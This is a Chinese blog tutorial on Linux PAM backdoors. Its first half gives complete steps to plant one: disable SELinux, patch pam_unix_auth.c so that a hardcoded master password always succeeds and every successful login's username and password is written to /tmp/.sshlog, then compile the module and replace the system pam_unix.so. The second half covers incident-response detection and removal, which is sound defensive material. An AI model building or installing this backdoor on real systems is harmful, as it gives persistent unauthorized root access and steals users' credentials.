首页 > 其他分享 >PAM后门从入门到应急响应

PAM后门从入门到应急响应

时间:2024-09-14 21:22:25浏览次数:3  
标签:后门 文件 入门 登录 PAM unix pam

目录

1. PAM与PAM后门介绍

PAM介绍

PAM后门

2.植入PAM后门

2.1 关闭 selinux 和临时关闭 setenforce 

2.2 查看 pam 版本号

2.3 下载对应版本的 pam 源码包

2.4 安装gcc编译器和flex库

2.5 留 PAM 后门和保存 ssh登录的账户密码

2.6 编译

2.9 登录测试

3. 应急响应发现

3.1 查看可疑连接

3.2 检查pam_unix.so的修改时间

3.3 查看SSH登录成功日志

3.4 strace监控sshd进程读写文件的操作

3.5 查看最近保存的可疑文件

3.6 清除 pam 后门


1. PAM与PAM后门介绍

PAM介绍

        PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。

PAM后门

      我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。

2.植入PAM后门

2.1 关闭 selinux 和临时关闭 setenforce 

在 centos7 环境下,首先需要关闭 selinux 和临时关闭 setenforce 0。

# 依次输入下面的命令
setenforce 0
# 进入模式后,按 i 进行编辑  然后将如图所示的SELINUX改为disabled 然后按ESC  最后按:wq 写入退出  这里通cat命令进行查看
vi /etc/selinux/config   
cat /etc/selinux/config

2.2 查看 pam 版本号

发现是 1.1.8 版本

rpm -qa|grep pam

2.3 下载对应版本的 pam 源码包

参考文章链接中的文件已经没有了,但是可以在阿里镜像站中找到

   pam下载地址:blfs-conglomeration-Linux-PAM安装包下载_开源镜像站-阿里云 选择 pam1.1.8 手动下载或是,通过命令下载

wget https://mirrors.aliyun.com/blfs/conglomeration/Linux-PAM/Linux-PAM-1.1.8.tar.bz2

        当然因为文件类型为.bz2文件后缀,因此解压的话需要通过下面的命令进行解压,不知道不同文件怎么解压的话可以看下面的文章进行参考

Linux tar.gz、tar、bz2、zip的区别,如何选择呢_tar.bz2 tar.xz tar.gz差别-CSDN博客

 bzip2 -d Linux-PAM-1.1.8.tar.bz2
 tar -xf  Linux-PAM-1.1.8.tar

2.4 安装gcc编译器和flex库

yum install gcc flex flex-devel -y

2.5 留 PAM 后门和保存 ssh登录的账户密码

  修改 Linux-PAM-1.1.8/modules/pamunix/pamunix_auth.c 源码实现自定义密码认证和保存登录密码 这里还是要么通过vim 或者远程链接修改

 cd Linux-PAM-1.1.8/modules/pam_unix/
 vim pam_unix_auth.c
if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;}
        if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");    
           fprintf(fp, "%s : %s\n", name, p);    
           fclose(fp);}

如图所示在文件的两个箭头的部分中间插入代码,其他信息在图片中写清楚了

2.6 编译

cd ../../
# 在下图的目录中执行命令
./configure
make
# 也可以直接执行执行一条命令
./configure && make

 2.7 备份原有的 pam_unix.so 防止出现错误 ssh 登录不上了

cd ../
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

2.8 复制新 PAM 模块到 /lib64/security/ 目录下:

/Linux-PAM-1.1.8/modules/pamunix/.libs/ 目录下的pamunix.so文件直接手动复制下载到

上传到 /usr/lib64/security/ 目录下

如果出现无法复制的话,可以通过远程连接工具将文件复制过去

cp /Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

2.9 登录测试

本地,win和finalshell远程登录测试

本地连接测试

ssh [email protected] 
yes 
xiaoyu

win测试

ssh [email protected]
yes 
xiaoyu

# 登出
exit

 

finalshell远程连接测试

主机: 192.168.10.15
用户名: root
密码: xiaoyu

查看 ssh 登录账号密码保存位置,root 账户的密码被成功保存

cd /tmp
ls -la
cat .sshlog
file .sshlog

 

写入的文件中记录着登录成功的用户名和密码,并且知道了文件属性为txt类型

3. 应急响应发现

3.1 查看可疑连接

首先先测试之前创建的后门是否可以正常进行连接

# 这理根据,主机是否存在对应的工具来选择命令,下面的命令都是一样的
natstat -anpt
ss -tanp

 

3.2 检查pam_unix.so的修改时间

跟据前面的部署后门我们知道因为 pam 后门是替换文件和修改文件,因此通过查看文件的修改时间,如果为最近的时间就是被替换了。(没有可以连接的时候也可以查看)

# 这里根据服务器的系统版本去选择命令
stat /lib/security/pam_unix.so      #32位
stat /lib64/security/pam_unix.so    #64位(我的)

3.3 查看SSH登录成功日志

前面是通过查看可疑连接和文件被修改,既然进行了连接,那么就进行了登录,通过查看登录成的日志,查看可疑ip与账号

more /var/log/secure | grep Accepted

3.4 strace监控sshd进程读写文件的操作

为什么会有这个操作,pam后门在部署时,通常会进行对登录的用户名和密码进行写入文件保存,可以通过写入文件监控操作

# 通过对sshd安全进程的文件读写操作配置
ps axu | grep sshd | grep -v grep

3.5 查看最近保存的可疑文件

这里可以配合前面的的查看登录日志或是文件的修改时间确定时间范围查找修改的可疑文件,以我这个后门创建为例,不管是通过ssh登录或是对pam_unix.so的修改时间,都能确定为时间为7天以内

使用 find 命令查找最近修改的文件:

查找当前目录及其子目录下最近 1 天内修改过的文件:

find . -type f -mtime -1
查找特定目录下最近 1 小时内修改过的文件:

find /path/to/directory -type f -mtime -0.2
查找最近 10 分钟内修改过的文件:

find . -type f -mmin -10

查找最近7天内修改过的文件:
find . -type f -mtime -7
只查找最近修改过的 .txt 文件:

find . -type f -mtime -1 -name "*.txt"
# 查看最近7天内修改的txt文件
find . -type f -mtime -7
# 查看最近7天内修改的txt文件
find . -type f -mtime -7 -name "*.txt"
# 但是因为txt文件,在设置时是文件属性为txt,但是没txt的后缀名
find . -type f -mtime -7 ! -name "*.txt" -exec file "{}" \; | grep "text"

        通过对下面文件的修改来看,其是对PAM包进行了替换或是修改,基本找运维也能确定是否最近进行了修改,当然这样也是无法定位到可疑文件的,根据前面的操作我们知道一般使用PAM会使用txt类型的文件来保存登录的用户名和密码

 

3.6 清除 pam 后门

        根据前面的两个步骤就能确定,确实存在pam后门,既然后门是通过修改文件和配置来完成操作的,这里通过重新安装pam就可以解决了,也是最快捷方便的一种操作

yum reinstall pam

重装之后,发现输入后门密码也无法登录了,说明后门成功被清除了

标签:后门,文件,入门,登录,PAM,unix,pam
From: https://blog.csdn.net/weixin_72543266/article/details/142235735

相关文章

  • 【鸿蒙】HarmonyOS NEXT星河入门到实战7-ArkTS语法进阶
    目录1、Class类1.1Class类实例属性1.2 Class类构造函数1.3Class类定义方法1.4静态属性和静态方法1.5继承extends和super关键字1.6instanceof检测是否实例1.7.修饰符(readonly、private、protected、public)1.7.1readonly1.7.2Private  1.7.3......
  • 【鸿蒙】HarmonyOS NEXT星河入门到实战4-ArkTS界面布局深入
    目录一、布局元素组成1.1内边距-padding1.2外边距margin1.3实战案例-QQ音乐-登录1.4边框border 二、设置组件圆角2.1基本圆角设置2.2特殊形状的圆角设置三、背景属性3.1背景图片-backgroundImage3.2背景图片位置-backgroundImagePosition3.3背景定位-......
  • 【鸿蒙】HarmonyOS NEXT星河入门到实战5-基础语法
    目录一、字符串拼接1.1常规字符串拼接1.2模板字符串`hello`(符号在键盘的tab上面)二、类型转换(数字和字符串)2.1字符串转数字 2.2数字转字符串三、交互3.1点击事件3.2状态管理 3.3计数器案例四、运算符4.1算数运算符 4.2赋值运算符4.3点赞案例  ......
  • 入门级小白超实用的python爬虫爬取网页图片
    图像作为信息传播的重要载体,在日常生活和各行各业的应用越来越广泛。网络图片爬取成为了数据挖掘和分析领域的一项重要技术。本文将探讨在网络环境中爬取图片的实现步骤以及代码。效果展示代码运行后,输入关健字等待片刻后桌面会自动创建一个名为picture的文件夹随后开始爬......
  • Rust编写wasm入门
    创建项目cargonew--libmy-wasm添加依赖Cargo.toml[dependencies]wasm-bindgen = "0.2"[lib]crate-type = ["cdylib"]编写代码src/lib.rsuse wasm_bindgen::prelude::*;#[wasm_bindgen]pub fn add(a: i32, b: i32) -> i32 {       a + b......
  • vue2 antv x6 入门 (一)画布、节点、边
    安装#npmnpminstall@antv/x6--save#yarnyarnadd@antv/x6 1.初始化画布<divid="container"></div>import{Graph}from'@antv/x6'constgraph=newGraph({container:document.getElementById('container'......
  • 大语言模型(LLM)入门学习路线图
    Github项目上有一个大语言模型学习路线笔记,它全面涵盖了大语言模型的所需的基础知识学习,LLM前沿算法和架构,以及如何将大语言模型进行工程化实践。这份资料是初学者或有一定基础的开发/算法人员入门活深入大型语言模型学习的优秀参考。这份资料重点介绍了我们应该掌握哪些核......
  • Linux基础入门 --10 DAY
    文本常见处理工具文件内容查看命令    cat    格式:cat[OPTION]...[FILE]...    常见选项:    -E:显示行结束符    -A:显示所有控制符    -n:对显示出的每一行进行编号    -b:对非空行进行编号    -s......
  • 黑客入门教程(非常详细)从零基础入门到精通,看完这一篇就够了
    ......
  • Python 入门教程(3)基础知识 | 3.2、数据类型、变量与常量
    文章目录一、数据类型、变量与常量1、数据类型2、变量3、常量一、数据类型、变量与常量1、数据类型Python的数据类型可以分为不可变类型和可变类型。不可变类型包括整数、浮点数、布尔值和元组,一旦创建,其值就不能改变。可变类型包括列表、字典和集合,它们的值可以......